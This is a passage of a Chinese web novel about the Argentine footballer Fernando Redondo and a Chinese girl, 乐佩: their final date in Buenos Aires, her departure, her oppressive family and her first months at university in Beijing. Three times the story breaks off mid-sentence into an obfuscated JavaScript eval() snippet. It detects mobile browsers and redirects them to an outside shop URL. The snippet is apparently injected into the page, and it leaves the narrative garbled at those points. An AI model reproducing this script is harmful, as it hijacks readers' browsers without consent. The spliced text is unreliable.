“这是怎么了?今天表现不好?球场上和人打架了?公开训练有人闹事?” 费尔南多不理他,自顾自在副驾驶靠着,安全带也不系。 莱昂纳多灵光一现,费尔南多这几天似乎很期待今天的公开训练,说明那个姑娘一定来看了,“你和你的小女友吵架了?” 费尔南多终于看他了,面色不善,“你真的很无聊,我说过那不是约会,赶快开车吧!” 13.信笺(13) 雷东多自认为他从未忘记过乐佩只是来布宜诺斯艾利斯这边度假的事实,只是当乐佩亲口告诉他自己离开的日期时,那一瞬间他没能控制住脸上错愕的表情。 因为还要在俱乐部吃饭,这天在训练场外乐佩和他只简单说了几句话。之后的下午和晚上,雷东多的心情都不是那么美妙。 他知道乐佩很期待自己的大学生活,不会永远留在布宜诺斯艾利斯,就像他自己一样,哪怕这里是他成长了20年的家乡,他也早晚要到欧洲去,那里才有更高水平的足球。 他也知道自己应该为乐佩感到高兴,她那么聪明,去上大学比在超市当一个普通收银员要好得多。他们是朋友,相遇在这个短暂而温暖的冬天,一个多月前他不可能想到自己会遇上这样一个女孩儿。 只是雷东多意识到自己无法坦然地为乐佩的离开送上祝福,她要回到中国去了,地球上离阿根廷最远的地方,他们恐怕再也无法见面,电话?传真?那都没办法抹去上万公里的距离。 直到晚上的家庭聚餐时,雷东多都会不受控制地去想这个问题,爸爸妈妈大概没看出他的不专心,莱昂纳多在之前问过几次都没有答案之后,也不再管他了。 第二天,雷东多恢复了心情,他照常去训练,照常路过营业中的‘胡安之家’,照常在看到乐佩站在收银台后走进了超市。 乐佩忙着结账,直到雷东多将购物框放到她面前,才注意到人。她看上去很高兴,“我还以为......” 她把后面不太好的话咽了回去,她还记得昨天道别的时候雷东多的表情不太好,怕不是因为看比赛的邀请被拒绝了脸上挂不住? 雷东多却笑了一下,主动把话接了下去,“你还以为我今天不会来了吗?” 乐佩被他的笑容闹得有点不好意思,也不看他,只去扫条形码结账,“我没这么说过。” 两人之间久违地沉默了下来,不像之前他们一起出去的时候氛围那么自在,雷东多真的会因为那点小事生气吗?她又不是故意的,开学时间早都定好了。 想不到他是这么小气的人,看样子一开始决定只做朋友很正确,反正以后两人见面的机会也没剩几次了。 乐佩心里闷得慌,脸上的营业微笑都淡了,她抿着嘴,手上的动作越来越麻利,塑料袋甩开发出哗哗的声音,装好东西后一整兜‘duang’地墩在雷东多面前。 “一共是xxx,请您结一下账吧。” 雷东多摸摸掏钱包取卡,乐佩想把卡拿走的时候,他的手上突然用力,害得乐佩第一下没能抽动。 她睁大眼睛抬头看他,雷东多轻轻地叹了口气,“你的飞机在下周四?” 乐佩本来还想解释那已经是最晚的时限了,又突然觉得没意思,只从嘴里挤出一个“Si”,等着看雷东多还要说什么。 “我现在每周训练六天,下周一休假,那天我可以约你出去吗?” 这个回答和乐佩想象的不太一样,她愣了一下,抬眼去看雷东多,确认他没有开玩笑而是真心邀请,这才讷讷地点了点头,这次的“Si”和刚才的语调完全不一样了。 “太好了。”雷东多由衷地叹了一声,这次的笑真情实感了许多,骤然松开手,还在和他较劲的乐佩差点将卡飞了出去。 直到目送雷东多离开,乐佩才有心思复盘到底发生了什么。她没想到雷东多居然还要趁着她离开前的最后一个休息日邀请她出去玩,她当然很高兴,但雷东多刚刚那么久的沉默是不是故意在吓唬她? 接下来几天雷东多依然每天按时出现,就像公开训练赛之前那样,而且他表现得一如既往,体贴又有趣,让乐佩打消了心中认为他其实是个坏家伙的怀疑。 周一这天雷东多上午就来到了超市,叔叔这次没有多说什么,反正小侄女这周就要离开了,走之前再逛一逛布宜诺斯艾利斯也很好。 乐佩换了另一身新衣服,发饰也是新花样。第二次约会两人都比上次更‘放松’,雷东多这次把那句“你真漂亮”留在了心里。 这次他们去了五月广场,这里有布宜诺斯艾利斯大教堂,总统府因为粉红色外墙有一个浪漫的名字,“玫瑰宫”。 他们又去了七月九日大道,这几乎是布市最宽阔的街道了,矗立在大道尽头的方尖碑可以登顶,很多游客都愿意上去看看,哪怕要爬几百级台阶。 方尖碑内部的楼梯狭窄陡峭,不太好爬,不过乐佩腿脚还不错,体力也好,上去并没有费太多功夫。 雷东多一路跟在她身后,既能护着点,也能隔开身后其他游客。乐佩会突然回头看他,在雷东多疑惑的眼神中,笑眯眯地伸手比划:“我现在比你高了!” “你本来也不矮。” “你的意思是只因为你太高了吗?” 雷东多歪了歪头,“差不多?” 方尖碑顶层的房间不大,游客们挤在四个方向细长的窗户边,在靠近之前只能看到窗户照进来的昏暗白光,乐佩在队伍里等了好一会儿才挤到窗边,白光变成蔚蓝的天空和一览无遗的宽阔街道,壮观的天际线让人说不出话来。 “......这真是太美了。”乐佩趴在窗边,喃喃地赞叹着,“我想我会一直记得我在这里看到的风景。” 雷东多看着她的侧脸,“我也是。” 下午他们去了布宜诺斯艾利斯北边的拉普拉塔河畔,这里的马德罗港是整个布市最繁华的地方之一,游客可以搭乘游轮游览这条世界上最宽的河。 海风吹着并不算冷,乐佩他们坐在游轮的二层甲板上,视野很好。乐佩看着远处繁忙的码头,实在疑惑,“这真是一条河吗?我觉得几乎像是海边了。” “我们确实在入海口附近了,”雷东多指着背向城市的方向,两岸的高楼没能延伸到远处,“那里就是大西洋。” “大西洋......我家也在海边,只不过是太平洋。” 听上去就是两个截然不同的世界,雷东多收回远眺的视线,转向乐佩,“你坐飞机回家的话,路上要走多久?” “好长时间,”乐佩从刚刚一瞬间的惆怅中抽身,立刻又忍不住想叹气,“要转两次机才能到广州,这就要两天时间,然后再坐火车回家,还要一整天。” 雷东多回想起自己几年前去上海的那次旅程,真是心有余悸,当时终于踏上中国的土地,他的腿僵硬地几乎要走不动路。 “你居然去过上海?” 乐佩真是没想到,她好奇地追问雷东多在上海玩的怎么样,雷东多几乎没印象了,只记得酒店的饭不太合口味,也没怎么玩,但他和队友溜出去找到的吃食味道很不错,就是总被人围观有点尴尬。 “真好,我都还没去过上海呢。”乐佩想象着16岁的雷东多被人围观后快步走开的场景,一定很好玩,现在在这里,他被球迷认出来也会不高兴呢。 雷东多从乐佩嘴边的笑猜出来她在想什么,立刻岔开话题,“你马上要去北京读书了,我听说那里和上海一样都是大城市,那一定也很棒。” “希望是吧,我很期待。”想到从家里到北京坐火车又要将近两天时间,乐佩这句话听上去多少有点言不由衷。 马德罗港周边除了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不,我在想你......马上就要离开布宜诺斯艾利斯了,”雷东多伸手从口袋里拿出一个精致的细长条礼物盒,“这是我送给你的临别礼物。” 乐佩有些惊喜,又不好意思,“还有礼物?我都没给你准备礼物。”她接过礼物盒,“谢谢你费尔南多,包括今天的所有这些。” 雷东多看着她,眼神里带着一些期待,“快打开看看,我不知道你会不会喜欢。” 乐佩不太习惯直接拆礼物,但既然雷东多说了她就不会拒绝,她也很好奇礼物盒里到底装着什么。 是一支做工精细的钢笔,线条流畅圆润,白色明亮而不刺眼,乐佩将它握在手里,触感冰凉,笔身并不重,显然应该是女款。 这一定不便宜,乐佩不知道该怎么开口,然后她发现礼物盒盖子内侧还有一张小纸片,她翻到正面,看到的不是钢笔的标签,而是一张手写字条,上面是一串西班牙语,乐佩看不懂内容,但能看出这是地址的格式,还有最后边的“Fernando Redondo”。 “这是......” “这是我家的地址,乐佩,如果你写信寄到这个地址的话,不管是跨国信件还是什么,我都一定可以收到。” 乐佩抬头,怔怔地看着他。 一阵沉默,雷东多没有等到她的同意,手不自觉地攥紧了些,又想要将字条拿回来,“国际信件可能太麻烦了,你还是当我没有说过这些......” 乐佩眼疾手快地合上礼物盒,抢先将字条扣在自己手里,“等我一到北京就给你写信,费尔南多,到时候你就也能知道我的地址了,你会给我回信吗?” 雷东多顿了顿,认真地说,“我会的。” 14.信笺(14) 马德罗港周边有几家看上去就很贵的餐厅,摆放着餐桌的木质露台延伸到拉普拉塔河面上。傍晚河面上起了风,还是有不少追求氛围不怕受冻的人选择到露台上吃饭。 当太阳变成火红的圆球浮在河面上时,侍者给食客点燃桌面上的蜡烛,餐厅一角有个小的管弦乐队正在演奏优雅的音乐,恰到好处地盖住其他座位上的窃窃私语。 这里显然是约会圣地,雷东多很满意自己提前订好了座位,就算乐佩看上去好像完全没有意识到他的小心思也没关系。 乐佩正在小心翼翼地研究一台照相机,这是雷东多带来的。她还从来没有这么近距离接触过照相机的实物,从小到大唯一一张照片是黑白的证件照,因为是学校统一组织拍摄,她刚坐下还不知道发生了什么就已经拍完了,表情很奇怪,照片不太好看。 家里人有一年过年约照相馆的人来拍全家福的时候,她刚好出门替奶奶跑腿,没人发现她不在,或许发现了也不在意吧。 这么贵重的东西被雷东多大剌剌地从车后座带进了餐厅,像是要分享一个有意思的玩具,递到乐佩面前,“这家餐厅的景色很美,你可以用它来拍两张照片。” “真的吗?”乐佩伸出一根手指轻轻碰了碰,看上去并不兴奋,反而有些为难,“只是我不太会用这个家伙,没怎么见过。” 雷东多脸上有一闪而过的懊恼,他轻咳一声准备接过相机教她怎么用,被乐佩出声打断,“费尔南多,你该不会以为我是个修理工,什么都要拆开看看吧!” 她听上去既觉得好笑又有点无语,雷东多当然不会承认自己确实这么想的,假装无事发生一般,一本正经地开始讲相机的使用方法,乐佩这下真被他逗笑了,半天都停不下来。 “乐佩。”雷东多无奈地看她。 乐佩几次想要调整表情,但嘴角就是高高扬起下不来,“抱歉费尔南多,我有在听你说话哈哈哈~” 雷东多拿她没办法,干脆举起相机放在眼前,作势要给她拍照,乐佩这下才猛地刹住车,不自在地向外挪,一边抬手挡住脸,“我错了!我没有要笑话你的意思。” 两人终于能重新好好说话,只不过刚才讲过的那些都要重新来一遍,按快门拍摄还有放胶卷都是最基本的操作,乐佩很快开始对镜头上的数字还有各种指示标感兴趣。 这个相机是雷东多前几天才去买的,就在得知乐佩将要离开布宜诺斯艾利斯的时候,可以说是专门为了今天准备的。 所以乐佩的很多问题其实他也不明白,相机的设置都在店里提前调好过,他可不敢轻易乱碰。 不过这不影响两个人兴冲冲地研究半天,乐佩对着那些符号乱猜一通,居然能说出点明堂。她在物理课上接触过一些成像最基础的原理,雷东多根本没印象自己有没有学过这些。 要是让嘴碎的莱昂纳多看到眼前这一幕,一定又有话说,雷东多一向不喜欢拍照,大概是受不了赛前赛后总是堵人的记者吧。他自己都不太能想象到自己还有买相机的一天。 这款最新一代的胶片相机已经很好上手,不会出现失焦、过曝,新手连拍几十张都是废片的情况了,只可惜照片的成品需要拿到照相馆冲洗,恐怕要等一段时间。 乐佩上手之后迫不及待地想要试试,她在雷东多的默许下将镜头对准了他,雷东多现在没了在俱乐部摄影师面前的矜持,他笑盈盈地看着镜头,提前打理好的头发在度过一天后有几缕调皮的翘起来。当乐佩按下快门的时候,她没有发现雷东多并没有看向镜头,而是看向了相机后面的那个女孩儿。 虽然看不到拍出来的照片是什么样子,乐佩还是对着雷东多一连拍了好几张,只是当雷东多拿过相机准备也帮她拍的时候,乐佩立刻又变成刚才那幅不自在的样子了,“给我也要拍吗?” 雷东多意识到乐佩恐怕不只是不喜欢被人突然偷拍,而是根本就不喜欢拍照,他将相机握在手里,迟迟没有举起来,“等照片冲洗出来我想送给你留作纪念,可以吗?” 乐佩没有说话,她不喜欢照相,高考前朋友们相约要去照合照,吴君专门叮嘱她要穿好看的衣服,不能再像证件照那样拍出来丑丑的,乐佩当时答应了,但合照那天没有出现,事后还落了埋怨。 她不知道对着镜头应该做什么表情,也不觉得一张难看的照片有什么好纪念的,尤其现在还要留在雷东多的相机胶卷里。 侍者托盘及时出现,乐佩看着放在他们两人面前的精致晚餐悄悄松了口气,“我们还是先吃饭吧。” 雷东多同意了,虽然他心中有些遗憾,但好在还有乐佩给他拍的照片,那也可以留作纪念。他看着点头离开的服务生,脑海中突然冒出一个想法。 晚饭对得起这里的风景和超高的服务费,牛排的味道馋人,上次古怪的蔬菜沙拉也换成了更合口味的炖菜,暖烘烘的吃进嘴里,驱散了海风在身上留下的凉意。 “谢谢款待,味道很不错,”乐佩吃得心满意足,“等下次我们一起吃饭的时候,我也要提前找一家很棒的餐厅。” 他们默契地没有去想下一次吃饭会是什么时候,雷东多只是不免想起了第一次两人一起吃饭的时候被抢着付了钱的可怕故事,他没忍住告诉乐佩,“在这里如果一男一女两人吃饭的话,男士肯定是付钱的那个。” “如果我就是想请你怎么办呢?我也不会想着请别的男孩儿吃饭。” 这句话成功噎住了雷东多,乐佩得意洋洋地冲他皱了皱鼻子,心情很好地插了块西蓝花送进嘴里。雷东多定定地看着她,忍不住笑出来。 “好吧,你喜欢这里就好,我希望你也喜欢布宜诺斯艾利斯。” “我当然喜欢这里,”乐佩环视四周,天已经黑了,他们身边栏杆外就是静静的拉普拉塔河水,桌面上的烛火盈盈倒映在水面上,空气也散发着温暖的味道。“说实话,我没想到我会这么喜欢这里。” 乐佩在来布市之前,只想着过来给叔叔帮忙,顺便离家里远点散散心,她没想到一个半月过去,在这里的生活,还有遇到眼前的人,和她前十七年的人生迥然不同。 她第一万次庆幸自己不顾家人的阻拦考上了大学,外面的世界和家乡那个昏暗的不属于她的家相比是如此精彩,她不可能再回去做一个安静无聊、任劳任怨,让人连名字和长相都记不清楚的女儿。 “谢谢你费尔南多,为这些天的一切,我真的很高兴能在这里认识你。” 雷东多长久地看着眼前的女孩儿,“......我已经开始想念你了。” 又是一句西班牙语,但雷东多不确定乐佩有没有听懂,她表情微动,像是有话要说,只是下一秒侍应生的出现打断了他们,他举着雷东多刚刚拿给他的相机,在不远处记录下了这一瞬间的影像。 乐佩吓了一跳,看见相机才意识到刚刚发生了什么,她捂住了泛红的脸,语气里却没有不高兴,“天啊费尔南多,你是故意提前把相机交给他了吗?” 雷东多轻咳一声,“抱歉,我只是想让他帮忙给我们拍张合照,没想到他居然没有提前说。” “刚才真是美好的一刻,我保证拍出来的照片一定很好看,祝你们用餐愉快!”侍应生见多了小情侣甜腻腻的氛围,仍然觉得眼前这一对甜的要命,他比了个大拇指,脚底抹油地跑了。 “等明天我拿胶卷去照相馆,照片一般几天就能洗好。” 乐佩还是不好意思,但她不想生气,喝了两口水总算让脸上的热意褪了下去,“好吧,我刚才真应该直接答应你去拍照。” 这家餐厅前菜正餐和甜点是分开上的,拉长了晚饭的时间,他们并不觉得漫长,慢慢享受着眼前自在的时光,在吃到后面时,还有一对专业的探戈舞者,听着管弦乐队的伴奏在餐厅中央起舞。 结束的时候雷东多眼疾手快地结了账,乐佩探头探脑想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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八点多的街道空荡荡的,只有被威风吹起的落叶在马路上跳来跳去,叔叔帮乐佩将新买来的行李箱放进后备箱,把她背来的那个破旧的大包挤到了角落,还不忘叮嘱她在机场要看好行李。 乐佩嗯嗯地点头听着,身后街角突然响起自行车铃声,她回头,看见了飞快赶来的雷东多。 雷东多显然是着急赶来的,他的头发都没有梳好,外套敞开着,车子速度很快,看见乐佩的时候脸上有显而易见的高兴。 “我想着你今天要走,就早点出发,没想到真的能遇见你,”雷东多一边说话一边整了整衣摆,离开了自行车,又变回了平日里那个精致的小伙子,他掏出一个纸质封口袋,“这是给你的照片,昨晚冲洗好了。” 乐佩不好意思当面看照片,现在也没时间,她只是从袋口朝里瞧了一眼,“谢谢你费尔南多,我会好好收藏的。” 是该出发的时候了,乐佩能听见车里叔叔探出头叫了她的名字,又被婶婶嫌弃地拉了回去。 她看着眼前的雷东多,脚却像定在了原地,嘴里也说不出告别的话。还是雷东多先打破了沉默,尽管他同样不想开口,“你是不是要去机场了?” 乐佩点点头,侧身要走,又转了回来,“费尔南多......”她喃喃开口,眼神里好像有无数话想说,最后只是微微抬起双臂,就这么看着他。 雷东多看懂了,他上前一步将乐佩抱进了怀里。 这是一个短暂的拥抱,因为乐佩有点不自在,雷东多没有收紧胳膊,他能感觉乐佩的脸埋在他的肩头,还有双臂虚虚地环在他的腰际。 这就足够了,雷东多了解过亚洲人并不习惯这些太亲密的动作,但他们仍然有一个拥抱。 直到乐佩坐上车子离开,汽车消失在街角,雷东多才扶起倒在一旁的自行车,慢慢推着去俱乐部。 第二天他再路过亮着红灯的胡安之家时,超市里照例热闹地排着队,门口的招财猫不知疲倦地摇着胳膊,老板娘爽朗的声音能传到大街上,但是没有那个会隔着玻璃对他笑的长头发姑娘了。 15.信笺(15) 乐佩在拥挤的车厢里艰难地穿梭着,避开其他旅客甩起来的行李包,已经坐好的人们嚷嚷着聊天,还有教训小孩儿的声音,每节车厢里都有厚重的烟味,混杂着食物的味道,让她嫌恶地皱了皱眉。 总算按照车票找到自己的床位,乐佩已经出了一身汗,同车厢的其他五个床位有男有女,乐佩不看他们,埋头开始收拾自己在中间的床铺,冷淡的模样让想搭话聊天的大叔大妈歇了心思。 车慢吞吞地开动了,到北京还要一天两夜,窗外的天色慢慢暗淡了,车厢里的吵嚷始终没有停歇。乐佩坐在靠窗的小桌旁边,远离热闹,闻着其他人三鲜面的味道,吃着自己带上车的冷饭团。 她的视线始终没有离开自己放在枕头后的大包,那是她全部的行李,一周前叔叔专门给她买的崭新行李箱在到家的那一刻已经不属于她了,连带着里面婶婶给她买的所有好东西。 爸爸妈妈对她回家惊讶了一会儿,之后就是习以为常的责难。家里没人知道她考上了大学,都以为她是去阿根廷找叔叔打工了,想不到她居然瞒着所有人决定去北京。 高考出成绩的时候乐佩不在家,家里甚至不确定她是不是去参加了高考,邻里有人传说学校出了一个考去北京的好学生,见到乐佩他们才知道考去北京的金凤凰是从他家飞出去的。 妈妈当然不同意她去上学,她还等着乐佩出去赚钱补贴家用。用她的话说,家里养了她十七年,容忍她上完高中已经仁至义尽,如今该是她回报家里的时候了。 现在眼看着到手的钱要飞走了,还要多掏四年学费,只骂她“赔钱货”“白眼狼”都是轻的。 乐佩懒得和她争,妈妈原本就知道上学是条好出路,不然也不会按着自己两个儿子使劲读书,至于女儿,有口饭吃饿不死,长到成年出去打工,二十多岁嫁人生儿子才是正经。 只可惜她眼珠子一样的宝贝儿子完全没出息,哥哥没工作游手好闲,弟弟在学校从来找不到人,于是在他们家学习好又变成了一项罪名,从上到下都说男孩子自己有主意闯出一片天最重要,学多了容易变笨,就像每天在家都沉默不说话的乐佩那样。 现在他们对乐佩的评价从木讷变成了心里藏奸,谁知道这个不声不响的小丫头居然有这么大的野心,眼见着成年就准备往外跑,真是翅膀硬了。 但他们最终同意了让乐佩去上学,因为街坊邻居的劝和,举例前两年去北京上大学的那个小伙子如今还没毕业已经能给家里拿钱,比打工赚得多了。 乐佩也在身上挨了几下之后,低眉顺眼地保证她上大学不需要家里掏一分钱,学校里可以兼职赚钱寄回家里,毕业之后一定回家,日后也会照拂自己的兄弟。 妈妈不情不愿地从床头上锁的小柜子里拿出了户口本,又清点了乐佩上交的在国外叔叔给她的全部工资,她这才能凭借从徐老师那里取回来的录取通知书去派出所办了手续,拿到了一张轻飘飘的户口迁移证。 这是她最重要的东西,乐佩将它小心翼翼地贴身收好了,觉得为了它自己付出什么都是值得的。从今天起她在法律意义上脱离了这个让她毫无留恋的家,等到了北京就能将户口迁到学校。 现在这张纸就放在行李包的夹层里,还有被她藏起来没被抢走的大部分钱,以及那张在离开布宜诺斯艾利斯当天才拿到的照片。 照片上的两个人都没有看镜头,而是看着彼此笑得开心,乐佩很喜欢这张照片,她从来没有亲眼见到自己这么开心过,只要看到这张照片,她似乎还能感受到拉普拉塔河上的微风从她的发间吹过。 万幸她在那个家里已经习惯留了心眼,旧衣服很方便掩人耳目,不然自己的所有东西肯定都会被手贱的弟弟翻出来然后拿走,一点都留不下来。 乐佩默默吃完最后一点没味道的饭团,手上的划伤正在轻微发疼,这是她出门前做饭的时候留下来的,一个多月没碰锅铲她手生了不少,以前她可不会把自己搞得这么狼狈,高考那几天她都是给全家做了早饭才出的门。 车厢直到半夜才安静了点,烟味仍然不散,乐佩在狭窄的床上翻身,眼睛亮亮地根本睡不着,她的心已经随着铿铿作响的铁轨飞远了。 夜盲症在吃了一段时间药之后已经好了很多,乐佩能轻松地隔着窗户看到窗外偶尔飞过的路灯。手心里的钢笔已经被捂热了,像一块滑手的玉石,她将笔攥地更紧了一点,终于闭上了眼睛。 衣服被哥哥拿走讨好他新谈的女朋友,没有买到马拉多纳的球衣当然少不了一顿骂,乐佩不在乎他的废话,只觉得能看上她废物哥哥的人眼睛八成不太好使。 所有的这一切都和她无关了,两天后她就要到一个新地方,大学让人心生敬畏,但无论发生什么都不会比之前的日子更糟糕。 大学生活比乐佩想象的要更好一点,宿舍是四人间,在入住之前已经被楼长收拾干净,生活必需品也都能很方便买到,花不了多少钱。 同宿舍的四个女生在报道当天见了面。性格大方的顾晓薇是本地人,早早就过来已经把自己的床铺收拾好了,其他三个姑娘都是外地人,坐了很长时间的火车才辗转来到北京。 只有乐佩是一个人来报道,沈静的爸爸跟过来为女儿收拾新房间,林亦舒和帮她擦桌子的哥哥斗嘴。当乐佩一个人闷头铺床的时候,顾晓薇主动到旁边给她帮忙。 新生需要军训一个月,姑娘们在辛苦训练的间隙,还有排队洗澡打饭的空档飞快地熟悉起来。虽然各自的生活习惯不太一样,但大家都是友善的人,有小毛病很快就能改正,没有像其他寝室那样闹矛盾。 熄灯之后宿舍夜聊也早早启动,顾晓薇是家里的独生女,从小到大被父母还有爷爷奶奶宠着长大,生活从来没有烦恼,沈静下面有个更讨人喜欢的弟弟,但父母在日常上没有忽略过懂事的大女儿,林亦舒是家里的老来女,父母平等地不管所有子女,她几乎是被哥哥姐姐带大的。 刚离开家的小姑娘们总是不自觉怀念起在家的时刻,这时只有乐佩格格不入,大家只知道她家里大概有几口人,从来没有听她说起过和哥哥弟弟相处的片段,被问起来只是笑眯眯地,说起她的高中同学,不动声色地将话题引开。 军训之后鸡飞狗跳的大学生活开始了。他们一共要上五年,第一年是全校新生上公选课打基础,之后四年才算正式开始接触本专业的知识。 公选课有不少其实和他们专业没什么关系的课,大家好不容易熬过高考,进来又要继续学更难的数学和物理,而且老师讲课玄之又玄,经常听完一整节课都搞不明白发生了什么,水灵灵的新生们很快被打击地蔫了下来。 大家都是凭真本事考进的全国最高学府,突然发现自己什么都学不会是个不小的刺激,只能在课后继续头秃地钻研学业。 乐佩大概是所有人中最轻松的那个,她学的很快,上课偷偷看后面老师没讲到的知识,她还能给舍友补课,让其他几个小姑娘羡慕不已,顾晓薇在上大学前找过家教预科,也学不过她。 除了让人吐血的学习,新生活还是充满新鲜劲的。除了百谈不厌的金庸琼瑶,林亦舒特别喜欢和她同名的香港作者,沈静唯爱小虎队的吴奇隆,经常在宿舍发表狂热言论,顾晓薇喜欢电影电视剧,内地香港欧美的她都来者不拒,经常跑去录像厅看带子。 只有乐佩没有什么特别突出的爱好,或者说她没时间培养爱好,在同学们都在自由享受大学生活的时候,乐佩每天都要去勤工俭学,或者在图书馆坐班,或者在食堂打饭。 她没忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884671|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记来上学前和家里人达成的约定,必须要想办法赚足够多让人满意的钱,才能暂时摆脱他们让人窒息的控制。 室友一开始不知道她为什么总是不见人影,直到在食堂遇见她。她们只是相互眨眨眼,没有直接叫乐佩的名字害怕给她丢人。当她晚上累得要命回到宿舍的时候,大家也没有再问她白天都去干什么,只是会提前给她的热水壶打满水。 乐佩成了整个宿舍融入最慢的人,沈静和林亦舒私下里聊起她的时候都觉得不可思议,她们原以为家境好的大小姐顾晓薇不好相处,但顾晓薇实在脾气好,什么都爱聊,就算她每周末都要回家,也不会影响小姑娘们之间的感情。 但是没人会冷落乐佩,她们还指望着每节课后靠乐佩补课写作业救命呢! 小姑娘们私下里得出结论,“或许她家里确实有些困难吧,你没有发现她从来不爱说自己家里的事吗?我们没事要多帮帮她。” 乐佩很快遇到了需要帮忙的事,学校开始筛选勤工俭学的名额,必须要留给家里条件真正不好的人,而乐佩只是自己没钱,她家的情况并不算糟糕,所以自然而然地被排除在名单之外。 这下连端盘子的路都被堵住了,乐佩开始发愁,却一时半会想不出办法,她也不好再去找之前给她介绍勤工俭学的辅导员,看样子只能去校外的公告栏上看看了。 顾晓薇在她真要去公告栏求职之前找到她,“小佩,我看你连着几天都在宿舍......我的一个高中同学,家里在给他妹妹找家教,你想去试试吗?” 当家教赚到的钱比端盘子多多了,家长很喜欢文静又漂亮的乐佩,在从顾晓薇嘴里得知这是他们专业学习最好的人之后,还经常给她包红包,也愿意把她介绍给其他准备找家教的家庭。 乐佩很感动,顾晓薇却表示没什么,原本人家想找的人是她,但她最烦教小孩子了,有那时间不如多看两部电影,乐佩愿意替她去上班,其实是帮了她的大忙。 家教只用周末出门,乐佩的时间终于空闲下来,她不会蠢到赚多少就给家里寄多少,手里慢慢攒下了新的钱。 学校有鼓励学生运动的传统,每天下午四点全校广播让大家出门锻炼,宿舍和教学楼都不能留人,以前乐佩没时间参加这些活动,现在再加入社团也来得及。 舍友们终于知道了乐佩的兴趣爱好,在看到她买了一个足球之后,大为震惊。“你居然要去踢足球,”顾晓薇睁大了眼睛,“我还想着叫你一起去打乒乓球呢!” 乐佩说自己只是随便玩玩,女子足球社在全校都凑不齐十个人,大家主要就是在草地上跑一跑罢了。“你别这样薇薇,我明天就和你一起去打乒乓球,只是我不会,还要你教我。” 沈静很好奇乐佩对足球的爱从哪里来,她才不相信乐佩那句‘随便玩玩’,足球看着就累,想玩为什么不和她们几个一起玩呢? 一段时间后,她没能从乐佩身上观察出什么来,反倒认识了好几个校足球队的男生,介绍看球的社团给乐佩,“他们大部分都喜欢意大利的足球,还有几个喜欢......算了我也记不住那些乱七八糟的外国名字名字,总之你想加入的话我可以帮你问问?” 乐佩同意了,但是没有去参加大家的观赛活动,社团里有不少马拉多纳的球迷,不过他们并不关心阿根廷的联赛,更不会认识在阿甲联赛踢球的年轻人。 乐佩对足球仍然提不起兴趣,只因为每天下午在草地上那短短一小时的奔跑总能让她恢复好心情。她还会去报刊亭看足球杂志和报纸,不抱希望地想要在角落里发现几句写阿根廷足球的话。 看着刊号旁边日期一天天变化,乐佩在心里盼望着自己开学时寄出的那封信已经穿过大洋,到达春暖花开的布宜诺斯艾利斯。 16.信笺(16) 乐佩刚离开布宜诺斯艾利斯的时候,雷东多很长时间都不习惯。好几次他已经走进了超市,才意识到那里没有他想找的人,他其实也不需要每天都逛超市。 训练之后他不需要再去压马路“约会”,也不需要为真正的约会做准备,只能无所事事地早早回到自己租的房子里看文章,没人喜欢看文章。 然而时间有着治愈一切的高明魔法,几场比赛过去,他的生活逐渐回归正轨,每天忙于应付训练和开学后的学业,不再像乐佩刚离开时那样心烦意乱。 冬歇期美好的回忆渐渐淡去,变成埋藏在心底的褪色照片,只在偶尔几个失神的瞬间,或者在看到摆在书桌上的照片,才恍惚回忆起当初那个牵动他心神的女孩儿。 他还记得两人之间通信的约定,但不会再每天纠结乐佩到底有没有记得给他写信,邮局的人都说不清楚从遥远的亚洲寄来的信到底要多长时间才能到,因为从来没有人这样寄过。 但他依然隔一段时间就会在路过邮局的时候进去问问,每周也不忘查看自家的邮箱。 爸爸妈妈好奇过他在等谁的来信,雷东多没有明说。至于莱昂纳多那里他的恋情已经进化出了三个版本,现在他变成了被抛弃却依然等待来信挽回的痴心男孩儿。 乐佩的信比他想象的还要更晚一点才到,那已经是乐佩离开布宜诺斯艾利斯快三个月后了,阿根廷的春天到了最让人着迷的时候,十一月的街头还保留着许多万圣节的装饰。 莱昂纳多照常在早饭的时候拿来今天的报纸,念出夸张的头条标题,几封信从报纸堆中抖落出来。 “妈妈这里有你的信......费尔南多!”他的语气突然兴奋起来。 雷东多看见他手里的褐色信封才明白莱昂纳多为什么一脸古怪,他一把伸手抢过厚厚的信封,在寄信人的位置看到“Rapunzel”才松了口气。 “这是谁?好奇怪的名字,而且这个信封上的地址也很奇怪,你到底认识了一个什么人,总不会是苏联间谍吧!” 哥哥的胡言乱语他当然不会理会,藏好信封,直到吃完早饭才回房间将它拆开。信封里有一摞叠好的信纸,当他将信纸抽出来的时候,几片紫色的花瓣跟着飘出来落在桌面上。 雷东多拾起花瓣,认出这是他当初送给乐佩的那一株重瓣紫罗兰上的花,花瓣被精心处理过,压干变成了书签,现在静静地躺在他的手掌心,仿佛稍一用力就会碎掉。 他将花瓣放回到信封里,又去看信封上的地址,是拉丁字母组成写成的,除了University剩下的他都不认识,但是很好记,而且乐佩写的字母非常工整,圆滚滚的a看上去很可爱。 雷东多默念了一遍这个古怪的地名,展开信纸看了两眼,默默翻出自己的英语词典。 致费尔南多 展信佳! 